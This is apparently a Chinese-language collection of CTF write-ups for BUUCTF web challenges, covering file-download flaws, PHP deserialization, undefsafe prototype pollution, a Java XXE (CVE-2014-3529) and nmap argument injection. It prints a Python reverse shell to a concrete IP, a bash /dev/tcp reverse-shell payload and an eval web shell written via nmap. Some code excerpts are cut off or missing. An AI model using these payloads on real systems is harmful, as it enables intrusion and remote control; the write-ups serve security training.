复现平台buuctf
本题是任意文件下载
尝试下载/proc/self/comline
得到提示 python2 app.py (原题应该是main.py这里可能是复现环境的差异)
下载app.py,代码审计
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
不难看出:路由 /no_one_know_the_manager 下存在命令执行,且要求SECRET_KEY =key(输入值)
SECRET_KEY的值存放在/tmp/secret.txt中,但是该文件已经被删除了,因此我们无法下载文件。
在 linux 系统中如果一个程序打开了一个文件没有关闭,即便从外部(上文是利用
os.remove(SECRET_FILE)
)删除之后,在/proc
这个进程的 pid 目录下的fd
文件描述符目录下还是会有这个文件的fd
,通过这个我们即可得到被删除文件的内容
尝试访问/proc/self/fd/3 得到SECRET_FILE
注:buu环境下这个key需要进行url加密才行,但实际题目环境应该不需要
将key进行替换,然后访问这个no_one_know_the_manager的路由,果然可以执行,但是没有回显。反弹个shell就好。
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.1.93.196",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
在根目录下发现flag,成功获取flag
访问题目,发现是一个代码审计。
process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]:
";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
简单分析一下代码逻辑:
1.通过传入参数str来执行反序列化。(代码中提示了flag.php,我们的目标应该就是获取该文件的内容)
2.str会通过is_valid的函数进行过滤,该函数会阻止输入特殊字符,题目给的类中的函数为private属性,序列化后会产生特殊字符我们需要对其进行绕过。
3.反序列化会触发__destruct()函数,该函数会触发process()函数。
4.process()函数 当op=2时候, 触发read()函数可以读取flag.php的内容,再通过output函数输出。
5.__destruct()函数和process()函数中,分别存在过滤,必须同时满足这2个条件。
if($this->op === "2")
$this->op = "1";
if($this->op == "2") {
$res = $this->read();
$this->output($res);
这里我们可以令op=2就可以实现绕过。
注:绕过原理是由于强类型比较下2!=“2”,但在弱类型比较下 2==“2”进行比较时,“2”会被认为是一个数字进行比较,因此相等。
本地构造一个序列化数据,内容如下
O:11:"FileHandler":3:{s:5:"%00*%00op";i:2;s:11:"%00*%00filename";s:8:"flag.php";s:10:"%00*%00content";N;}
但是is_valid函数会阻止程序,因为这里的%00对应的ascii 0字符超过了范围。我们可以用S属性来绕过
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:8:"flag.php";S:10:"\00*\00content";N;}
注:S模式下,字符可以用/+16进制来表示。%00就可以用\00来表示。
查看源码,成功获取flag
一道代码审计题,打开源码审计一下,发现可执行命令的函数,该函数会执行commands里面包含的命令。但是这里的commands变量是一个不可操作的变量
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
const undefsafe = require('undefsafe');
这里的解决方法就是原型链污染。undefsafe包在<2.0.3版本下存在原型链污染漏洞。
可以参考https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940
我们可以通过污染commands这个字典来达到执行命令的目标
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
/edit_note下可以传3个参数调用edit_note来进行原型链污染。
构造payload
id=__proto__&author=bash -i > /dev/tcp/ip/port 0>&1&raw=1
抓包构造
访问/status页面,反弹shell
成功获取flag
简单测试一下,题目只有上传和下载功能。
因此尝试一下是否存在目录穿越和任意文件下载的问题。
抓包测试../1.txt ,回显正常,提示该文件不存在,证明该漏洞存在。
尝试../ ,报错返回了一个路径。
由于这是一个java的网站,我们可以尝试一下读取java的配置文件。web.xml
构造filename=../../../web.xml ,成功获取数据
DownloadServlet
cn.abc.servlet.DownloadServlet
DownloadServlet
/DownloadServlet
ListFileServlet
cn.abc.servlet.ListFileServlet
ListFileServlet
/ListFileServlet
UploadServlet
cn.abc.servlet.UploadServlet
UploadServlet
/UploadServlet
这里尝试直接读取flag,构造filename=../../../../../../../../../flag.txt,flag果然在这儿,但是显示禁止读取,可能是文件权限不够,我们继续分析刚才的xml文件。
注:
1.web.xml包含程序处理的一些路由,虽然不能下载到java的原生文件,但是可以在对应的classes文件夹下获取对应的class文件,通过反编译就能查看源码。
2.这个的servlet-class就是对应编译好的文件的位置,其中.就是文件夹的分隔符/,cn.abc.servlet.ListFileServlet =cn/abc/servlet/ListFileServlet.class
3.java环境下,默认编译好的源码会保存在WEB-INF/classes文件夹下
构造filename=../../../classes/cn/abc/servlet/ListFileServlet.class ,依此下载这3个class文件,虽然直接打开是乱码,但是通过idea就能直接反编译看到源码。
接下来就是代码审计的工作。
发现UploadServlet下可能存在xxe漏洞。
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException var20) {
System.err.println("poi-ooxml-3.10 has something wrong");
var20.printStackTrace();
}
}
这里是一个excel和xxe漏洞的结合,CVE-2014-3529,漏洞分析可以参考这篇文章https://www.jianshu.com/p/73cd11d83c30
大概的解法如下:
1.新建一个excel文件,后缀名改成zip
2.用解压软件打开,修改里面的[Conent_Tyoes].xml文件。在第二行添加如下代码。添加完后再将后缀改回xlsx
%remote;%int;%send;
]>
3.在靶机的/var/www/html目录下新建file.dtd的文件,内容如下:
">
4.在靶机开始监听9999端口,命令如下:nc -lvvp 9999
成功获取flag
简单来看就是执行Namp命令然后查看输出,这里有2个解题思路
1.将flag写入文件
-iL /flag -oN flag.txt
注:
-iL 如果你有大量的系统进行扫描,就可以在文本文件中输入IP地址(或主机名),并使用该文件作为输入
-oN 将扫描结果输入到指定文件中。
执行,访问flag.txt获取flag
2.写入shell
' -oG 1.php'
但是文件写入被过滤,尝试phtml+短标签绕过写入成功
' = @eval($_POST["pd"]);?> -oG pd.phtml '
蚁剑连接,获取flag
打开一看一段时间就会报错,查看源码,发现有2个传参,func和p,结合报错输出可以判断
func是输入的函数,p是对应的参数,抓包查看一下
果然是这样,测试一下,phpinfo和一些常规的执行函数被过滤了。
构造
func=file_get_contents&p=index.php成功获取源码。
func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
注:按理说这个函数被过滤了但buu的环境下输出成功了,具体情况不清楚。
网上都是这个payload:func=highlight_file&p=index.php
这里我们可以看见Test类,再配合__destruct函数,不难想到可以 通过反序列化执行。
构造如下反序列化数据:
查询到flag的位置
然后修改代码,读取flag即可。
1.